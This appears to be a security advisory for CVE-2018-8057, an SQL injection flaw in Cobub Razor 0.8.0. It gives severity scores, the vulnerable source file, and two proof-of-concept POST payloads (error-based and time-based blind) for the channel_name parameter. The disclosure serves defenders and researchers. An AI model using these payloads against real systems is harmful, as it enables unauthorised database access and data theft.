Cobub Razor 0.8.0 SQL injection

2018.04.17

Credit: Kyhvedn

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-8057

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Cobub Razor 0.8.0 SQL injection Vulnerability
# Date: 2018-04-14
# Exploit Author: Kyhvedn（yinfengwuyueyi@163.com、kyhvedn@5ecurity.cn）
# Vendor Homepage: http://www.cobub.com/
# Software Link: https://github.com/cobub/razor
# Version: 0.8.0
# CVE : CVE-2018-8057
The string of the 'channel_name' and 'platform' parameter transmission is completely without check and filter,so if the string is passed, it will lead to the existence of SQL injection vulnerability,This could result in full information disclosure.
Code source:
/application/controllers/manage/channel.php at line 75-95
The SQL injection type: error-based and AND/OR time-based blind
Parameter: channel_name,platform
PoC:
http://localhost/index.php?/manage/channel/addchannel
POST data:
1.channel_name=test" AND (SELECT 1700 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(1700=1700,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JQon&platform=1
2.channel_name=test" AND SLEEP(5)-- NklJ&platform=1

See this note in RAW Version

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Cobub Razor 0.8.0 SQL injection

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